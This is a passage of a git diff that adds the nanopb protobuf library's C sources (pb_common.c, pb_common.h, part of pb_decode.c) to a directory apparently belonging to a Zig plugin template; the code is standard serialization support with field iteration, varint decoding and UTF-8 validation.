+#define PB_FI_WIDTH_PB_LTYPE_INT64 1 +#define PB_FI_WIDTH_PB_LTYPE_MESSAGE 2 +#define PB_FI_WIDTH_PB_LTYPE_MSG_W_CB 2 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_STRING 2 +#define PB_FI_WIDTH_PB_LTYPE_UINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_UINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_EXTENSION 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED_LENGTH_BYTES 2 + +/* The mapping from protobuf types to LTYPEs is done using these macros. */ +#define PB_LTYPE_MAP_BOOL PB_LTYPE_BOOL +#define PB_LTYPE_MAP_BYTES PB_LTYPE_BYTES +#define PB_LTYPE_MAP_DOUBLE PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_ENUM PB_LTYPE_VARINT +#define PB_LTYPE_MAP_UENUM PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_FIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_FIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_FLOAT PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_INT32 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_INT64 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_MESSAGE PB_LTYPE_SUBMESSAGE +#define PB_LTYPE_MAP_MSG_W_CB PB_LTYPE_SUBMSG_W_CB +#define PB_LTYPE_MAP_SFIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_SFIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_SINT32 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_SINT64 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_STRING PB_LTYPE_STRING +#define PB_LTYPE_MAP_UINT32 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_UINT64 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_EXTENSION PB_LTYPE_EXTENSION +#define PB_LTYPE_MAP_FIXED_LENGTH_BYTES PB_LTYPE_FIXED_LENGTH_BYTES + +/* These macros are used for giving out error messages. + * They are mostly a debugging aid; the main error information + * is the true/false return value from functions. + * Some code space can be saved by disabling the error + * messages if not used. + * + * PB_SET_ERROR() sets the error message if none has been set yet. + * msg must be a constant string literal. + * PB_GET_ERROR() always returns a pointer to a string. + * PB_RETURN_ERROR() sets the error and returns false from current + * function. + */ +#ifdef PB_NO_ERRMSG +#define PB_SET_ERROR(stream, msg) PB_UNUSED(stream) +#define PB_GET_ERROR(stream) "(errmsg disabled)" +#else +#define PB_SET_ERROR(stream, msg) (stream->errmsg = (stream)->errmsg ? (stream)->errmsg : (msg)) +#define PB_GET_ERROR(stream) ((stream)->errmsg ? (stream)->errmsg : "(none)") +#endif + +#define PB_RETURN_ERROR(stream, msg) return PB_SET_ERROR(stream, msg), false + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#ifdef __cplusplus +#if __cplusplus >= 201103L +#define PB_CONSTEXPR constexpr +#else // __cplusplus >= 201103L +#define PB_CONSTEXPR +#endif // __cplusplus >= 201103L + +#if __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR inline constexpr +#else // __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR PB_CONSTEXPR +#endif // __cplusplus >= 201703L + +extern "C++" +{ +namespace nanopb { +// Each type will be partially specialized by the generator. +template struct MessageDescriptor; +} // namespace nanopb +} +#endif /* __cplusplus */ + +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.c b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.c new file mode 100644 index 0000000..6aee76b --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.c @@ -0,0 +1,388 @@ +/* pb_common.c: Common support functions for pb_encode.c and pb_decode.c. + * + * 2014 Petteri Aimonen + */ + +#include "pb_common.h" + +static bool load_descriptor_values(pb_field_iter_t *iter) +{ + uint32_t word0; + uint32_t data_offset; + int_least8_t size_offset; + + if (iter->index >= iter->descriptor->field_count) + return false; + + word0 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + iter->type = (pb_type_t)((word0 >> 8) & 0xFF); + + switch(word0 & 3) + { + case 0: { + /* 1-word format */ + iter->array_size = 1; + iter->tag = (pb_size_t)((word0 >> 2) & 0x3F); + size_offset = (int_least8_t)((word0 >> 24) & 0x0F); + data_offset = (word0 >> 16) & 0xFF; + iter->data_size = (pb_size_t)((word0 >> 28) & 0x0F); + break; + } + + case 1: { + /* 2-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + + iter->array_size = (pb_size_t)((word0 >> 16) & 0x0FFF); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 28) << 6)); + size_offset = (int_least8_t)((word0 >> 28) & 0x0F); + data_offset = word1 & 0xFFFF; + iter->data_size = (pb_size_t)((word1 >> 16) & 0x0FFF); + break; + } + + case 2: { + /* 4-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + + iter->array_size = (pb_size_t)(word0 >> 16); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + + default: { + /* 8-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + uint32_t word4 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 4]); + + iter->array_size = (pb_size_t)word4; + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + } + + if (!iter->message) + { + /* Avoid doing arithmetic on null pointers, it is undefined */ + iter->pField = NULL; + iter->pSize = NULL; + } + else + { + iter->pField = (char*)iter->message + data_offset; + + if (size_offset) + { + iter->pSize = (char*)iter->pField - size_offset; + } + else if (PB_HTYPE(iter->type) == PB_HTYPE_REPEATED && + (PB_ATYPE(iter->type) == PB_ATYPE_STATIC || + PB_ATYPE(iter->type) == PB_ATYPE_POINTER)) + { + /* Fixed count array */ + iter->pSize = &iter->array_size; + } + else + { + iter->pSize = NULL; + } + + if (PB_ATYPE(iter->type) == PB_ATYPE_POINTER && iter->pField != NULL) + { + iter->pData = *(void**)iter->pField; + } + else + { + iter->pData = iter->pField; + } + } + + if (PB_LTYPE_IS_SUBMSG(iter->type)) + { + iter->submsg_desc = iter->descriptor->submsg_info[iter->submessage_index]; + } + else + { + iter->submsg_desc = NULL; + } + + return true; +} + +static void advance_iterator(pb_field_iter_t *iter) +{ + iter->index++; + + if (iter->index >= iter->descriptor->field_count) + { + /* Restart */ + iter->index = 0; + iter->field_info_index = 0; + iter->submessage_index = 0; + iter->required_field_index = 0; + } + else + { + /* Increment indexes based on previous field type. + * All field info formats have the following fields: + * - lowest 2 bits tell the amount of words in the descriptor (2^n words) + * - bits 2..7 give the lowest bits of tag number. + * - bits 8..15 give the field type. + */ + uint32_t prev_descriptor = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + pb_type_t prev_type = (prev_descriptor >> 8) & 0xFF; + pb_size_t descriptor_len = (pb_size_t)(1 << (prev_descriptor & 3)); + + /* Add to fields. + * The cast to pb_size_t is needed to avoid -Wconversion warning. + * Because the data is is constants from generator, there is no danger of overflow. + */ + iter->field_info_index = (pb_size_t)(iter->field_info_index + descriptor_len); + iter->required_field_index = (pb_size_t)(iter->required_field_index + (PB_HTYPE(prev_type) == PB_HTYPE_REQUIRED)); + iter->submessage_index = (pb_size_t)(iter->submessage_index + PB_LTYPE_IS_SUBMSG(prev_type)); + } +} + +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message) +{ + memset(iter, 0, sizeof(*iter)); + + iter->descriptor = desc; + iter->message = message; + + return load_descriptor_values(iter); +} + +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension) +{ + const pb_msgdesc_t *msg = (const pb_msgdesc_t*)extension->type->arg; + bool status; + + uint32_t word0 = PB_PROGMEM_READU32(msg->field_info[0]); + if (PB_ATYPE(word0 >> 8) == PB_ATYPE_POINTER) + { + /* For pointer extensions, the pointer is stored directly + * in the extension structure. This avoids having an extra + * indirection. */ + status = pb_field_iter_begin(iter, msg, &extension->dest); + } + else + { + status = pb_field_iter_begin(iter, msg, extension->dest); + } + + iter->pSize = &extension->found; + return status; +} + +bool pb_field_iter_next(pb_field_iter_t *iter) +{ + advance_iterator(iter); + (void)load_descriptor_values(iter); + return iter->index != 0; +} + +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag) +{ + if (iter->tag == tag) + { + return true; /* Nothing to do, correct field already. */ + } + else if (tag > iter->descriptor->largest_tag) + { + return false; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + if (tag < iter->tag) + { + /* Fields are in tag number order, so we know that tag is between + * 0 and our start position. Setting index to end forces + * advance_iterator() call below to restart from beginning. */ + iter->index = iter->descriptor->field_count; + } + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for tag number match */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (((fieldinfo >> 2) & 0x3F) == (tag & 0x3F)) + { + /* Good candidate, check further */ + (void)load_descriptor_values(iter); + + if (iter->tag == tag && + PB_LTYPE(iter->type) != PB_LTYPE_EXTENSION) + { + /* Found it */ + return true; + } + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +bool pb_field_iter_find_extension(pb_field_iter_t *iter) +{ + if (PB_LTYPE(iter->type) == PB_LTYPE_EXTENSION) + { + return true; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for field type */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (PB_LTYPE((fieldinfo >> 8) & 0xFF) == PB_LTYPE_EXTENSION) + { + return load_descriptor_values(iter); + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +static void *pb_const_cast(const void *p) +{ + /* Note: this casts away const, in order to use the common field iterator + * logic for both encoding and decoding. The cast is done using union + * to avoid spurious compiler warnings. */ + union { + void *p1; + const void *p2; + } t; + t.p2 = p; + return t.p1; +} + +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message) +{ + return pb_field_iter_begin(iter, desc, pb_const_cast(message)); +} + +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension) +{ + return pb_field_iter_begin_extension(iter, (pb_extension_t*)pb_const_cast(extension)); +} + +bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field) +{ + if (field->data_size == sizeof(pb_callback_t)) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + + if (pCallback != NULL) + { + if (istream != NULL && pCallback->funcs.decode != NULL) + { + return pCallback->funcs.decode(istream, field, &pCallback->arg); + } + + if (ostream != NULL && pCallback->funcs.encode != NULL) + { + return pCallback->funcs.encode(ostream, field, &pCallback->arg); + } + } + } + + return true; /* Success, but didn't do anything */ + +} + +#ifdef PB_VALIDATE_UTF8 + +/* This function checks whether a string is valid UTF-8 text. + * + * Algorithm is adapted from https://www.cl.cam.ac.uk/~mgk25/ucs/utf8_check.c + * Original copyright: Markus Kuhn 2005-03-30 + * Licensed under "Short code license", which allows use under MIT license or + * any compatible with it. + */ + +bool pb_validate_utf8(const char *str) +{ + const pb_byte_t *s = (const pb_byte_t*)str; + while (*s) + { + if (*s < 0x80) + { + /* 0xxxxxxx */ + s++; + } + else if ((s[0] & 0xe0) == 0xc0) + { + /* 110XXXXx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[0] & 0xfe) == 0xc0) /* overlong? */ + return false; + else + s += 2; + } + else if ((s[0] & 0xf0) == 0xe0) + { + /* 1110XXXX 10Xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || /* overlong? */ + (s[0] == 0xed && (s[1] & 0xe0) == 0xa0) || /* surrogate? */ + (s[0] == 0xef && s[1] == 0xbf && + (s[2] & 0xfe) == 0xbe)) /* U+FFFE or U+FFFF? */ + return false; + else + s += 3; + } + else if ((s[0] & 0xf8) == 0xf0) + { + /* 11110XXX 10XXxxxx 10xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[3] & 0xc0) != 0x80 || + (s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || /* overlong? */ + (s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4) /* > U+10FFFF? */ + return false; + else + s += 4; + } + else + { + return false; + } + } + + return true; +} + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.h new file mode 100644 index 0000000..58aa90f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.h @@ -0,0 +1,49 @@ +/* pb_common.h: Common support functions for pb_encode.c and pb_decode.c. + * These functions are rarely needed by applications directly. + */ + +#ifndef PB_COMMON_H_INCLUDED +#define PB_COMMON_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initialize the field iterator structure to beginning. + * Returns false if the message type is empty. */ +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message); + +/* Get a field iterator for extension field. */ +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension); + +/* Same as pb_field_iter_begin(), but for const message pointer. + * Note that the pointers in pb_field_iter_t will be non-const but shouldn't + * be written to when using these functions. */ +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message); +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension); + +/* Advance the iterator to the next field. + * Returns false when the iterator wraps back to the first field. */ +bool pb_field_iter_next(pb_field_iter_t *iter); + +/* Advance the iterator until it points at a field with the given tag. + * Returns false if no such field exists. */ +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag); + +/* Find a field with type PB_LTYPE_EXTENSION, or return false if not found. + * There can be only one extension range field per message. */ +bool pb_field_iter_find_extension(pb_field_iter_t *iter); + +#ifdef PB_VALIDATE_UTF8 +/* Validate UTF-8 text string */ +bool pb_validate_utf8(const char *s); +#endif + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.c b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.c new file mode 100644 index 0000000..b3f96fc --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.c @@ -0,0 +1,1728 @@ +/* pb_decode.c -- decode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +#include "pb.h" +#include "pb_decode.h" +#include "pb_common.h" + +/************************************** + * Declarations internal to this file * + **************************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof); +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size); +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn default_extension_decoder(pb_istream_t *stream, pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type); +static bool checkreturn decode_extension(pb_istream_t *stream, uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension); +static bool pb_field_set_to_default(pb_field_iter_t *field); +static bool pb_message_set_to_defaults(pb_field_iter_t *iter); +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_skip_varint(pb_istream_t *stream); +static bool checkreturn pb_skip_string(pb_istream_t *stream); + +#ifdef PB_ENABLE_MALLOC +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size); +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field); +static bool checkreturn pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field); +static void pb_release_single_field(pb_field_iter_t *field); +#endif + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +typedef struct { + uint32_t bitfield[(PB_MAX_REQUIRED_FIELDS + 31) / 32]; +} pb_fields_seen_t; + +/******************************* + * pb_istream_t implementation * + *******************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + const pb_byte_t *source = (const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + count; + + if (buf != NULL) + { + memcpy(buf, source, count * sizeof(pb_byte_t)); + } + + return true; +} + +bool checkreturn pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + if (count == 0) + return true; + +#ifndef PB_BUFFER_ONLY + if (buf == NULL && stream->callback != buf_read) + { + /* Skip input bytes */ + pb_byte_t tmp[16]; + while (count > 16) + { + if (!pb_read(stream, tmp, 16)) + return false; + + count -= 16; + } + + return pb_read(stream, tmp, count); + } +#endif + + if (stream->bytes_left < count) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!buf_read(stream, buf, count)) + return false; +#endif + + if (stream->bytes_left < count) + stream->bytes_left = 0; + else + stream->bytes_left -= count; + + return true; +} + +/* Read a single byte from input stream. buf may not be NULL. + * This is an optimization for the varint decoding. */ +static bool checkreturn pb_readbyte(pb_istream_t *stream, pb_byte_t *buf) +{ + if (stream->bytes_left == 0) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, 1)) + PB_RETURN_ERROR(stream, "io error"); +#else + *buf = *(const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + 1; +#endif + + stream->bytes_left--; + + return true; +} + +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen) +{ + pb_istream_t stream; + /* Cast away the const from buf without a compiler error. We are + * careful to use it only in a const manner in the callbacks. + */ + union { + void *state; + const void *c_state; + } state; +#ifdef PB_BUFFER_ONLY + stream.callback = NULL; +#else + stream.callback = &buf_read; +#endif + state.c_state = buf; + stream.state = state.state; + stream.bytes_left = msglen; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +/******************** + * Helper functions * + ********************/ + +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof) +{ + pb_byte_t byte; + uint32_t result; + + if (!pb_readbyte(stream, &byte)) + { + if (stream->bytes_left == 0) + { + if (eof) + { + *eof = true; + } + } + + return false; + } + + if ((byte & 0x80) == 0) + { + /* Quick case, 1 byte value */ + result = byte; + } + else + { + /* Multibyte case */ + uint_fast8_t bitpos = 7; + result = byte & 0x7F; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 32) + { + /* Note: The varint could have trailing 0x80 bytes, or 0xFF for negative. */ + pb_byte_t sign_extension = (bitpos < 63) ? 0xFF : 0x01; + bool valid_extension = ((byte & 0x7F) == 0x00 || + ((result >> 31) != 0 && byte == sign_extension)); + + if (bitpos >= 64 || !valid_extension) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + } + else if (bitpos == 28) + { + if ((byte & 0x70) != 0 && (byte & 0x78) != 0x78) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + result |= (uint32_t)(byte & 0x0F) << bitpos; + } + else + { + result |= (uint32_t)(byte & 0x7F) << bitpos; + } + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + } + + *dest = result; + return true; +} + +bool checkreturn pb_decode_varint32(pb_istream_t *stream, uint32_t *dest) +{ + return pb_decode_varint32_eof(stream, dest, NULL); +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_decode_varint(pb_istream_t *stream, uint64_t *dest) +{ + pb_byte_t byte; + uint_fast8_t bitpos = 0; + uint64_t result = 0; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 63 && (byte & 0xFE) != 0) + PB_RETURN_ERROR(stream, "varint overflow"); + + result |= (uint64_t)(byte & 0x7F) << bitpos; + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + + *dest = result; + return true; +} +#endif + +bool checkreturn pb_skip_varint(pb_istream_t *stream) +{ + pb_byte_t byte; + do + { + if (!pb_read(stream, &byte, 1)) + return false; + } while (byte & 0x80); + return true; +} + +bool checkreturn pb_skip_string(pb_istream_t *stream) +{ + uint32_t length; + if (!pb_decode_varint32(stream, &length)) + return false; + + if ((size_t)length != length) + { + PB_RETURN_ERROR(stream, "size too large"); + } + + return pb_read(stream, NULL, (size_t)length); +} + +bool checkreturn pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof) +{ + uint32_t temp; + *eof = false; + *wire_type = (pb_wire_type_t) 0; + *tag = 0; + + if (!pb_decode_varint32_eof(stream, &temp, eof)) + { + return false; + } + + *tag = temp >> 3; + *wire_type = (pb_wire_type_t)(temp & 7); + return true; +} + +bool checkreturn pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type) +{ + switch (wire_type) + { + case PB_WT_VARINT: return pb_skip_varint(stream); + case PB_WT_64BIT: return pb_read(stream, NULL, 8); + case PB_WT_STRING: return pb_skip_string(stream); + case PB_WT_32BIT: return pb_read(stream, NULL, 4); + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Read a raw value to buffer, for the purpose of passing it to callback as + * a substream. Size is maximum size on call, and actual size on return. + */ +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size) +{ + size_t max_size = *size; + switch (wire_type) + { + case PB_WT_VARINT: + *size = 0; + do + { + (*size)++; + if (*size > max_size) + PB_RETURN_ERROR(stream, "varint overflow"); + + if (!pb_read(stream, buf, 1)) + return false; + } while (*buf++ & 0x80); + return true; + + case PB_WT_64BIT: + *size = 8; + return pb_read(stream, buf, 8); + + case PB_WT_32BIT: + *size = 4; + return pb_read(stream, buf, 4); + + case PB_WT_STRING: + /* Calling read_raw_value with a PB_WT_STRING is an error. + * Explicitly handle this case and fallthrough to default to avoid + * compiler warnings. + */ + + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Decode string length from stream and return a substream with limited length. + * Remember to close the substream using pb_close_string_substream(). + */ +bool checkreturn pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + uint32_t size; + if (!pb_decode_varint32(stream, &size)) + return false; + + *substream = *stream; + if (substream->bytes_left < size) + PB_RETURN_ERROR(stream, "parent stream too short"); + + substream->bytes_left = (size_t)size; + stream->bytes_left -= (size_t)size; + return true; +} + +bool checkreturn pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + if (substream->bytes_left) { + if (!pb_read(substream, NULL, substream->bytes_left)) + return false; + } + + stream->state = substream->state; + +#ifndef PB_NO_ERRMSG + stream->errmsg = substream->errmsg; +#endif + return true; +} + +/************************* + * Decode a single field * + *************************/ + +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_varint(stream, field); + + case PB_LTYPE_FIXED32: + if (wire_type != PB_WT_32BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_decode_fixed32(stream, field->pData); + + case PB_LTYPE_FIXED64: + if (wire_type != PB_WT_64BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float)) + { + return pb_decode_double_as_float(stream, (float*)field->pData); + } +#endif + +#ifdef PB_WITHOUT_64BIT + PB_RETURN_ERROR(stream, "invalid data_size"); +#else + return pb_decode_fixed64(stream, field->pData); +#endif + + case PB_LTYPE_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bytes(stream, field); + + case PB_LTYPE_STRING: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_OPTIONAL: + if (field->pSize != NULL) + *(bool*)field->pSize = true; + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array */ + bool status = true; + pb_istream_t substream; + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left > 0 && *size < field->array_size) + { + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + (*size)++; + field->pData = (char*)field->pData + field->data_size; + } + + if (substream.bytes_left != 0) + PB_RETURN_ERROR(stream, "array overflow"); + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Repeated field */ + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if ((*size)++ >= field->array_size) + PB_RETURN_ERROR(stream, "array overflow"); + + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && + *(pb_size_t*)field->pSize != field->tag) + { + /* We memset to zero so that any callbacks are set to NULL. + * This is because the callbacks might otherwise have values + * from some other union field. + * If callbacks are needed inside oneof field, use .proto + * option submsg_callback to have a separate callback function + * that can set the fields before submessage is decoded. + * pb_dec_submessage() will set any default values. */ + memset(field->pData, 0, 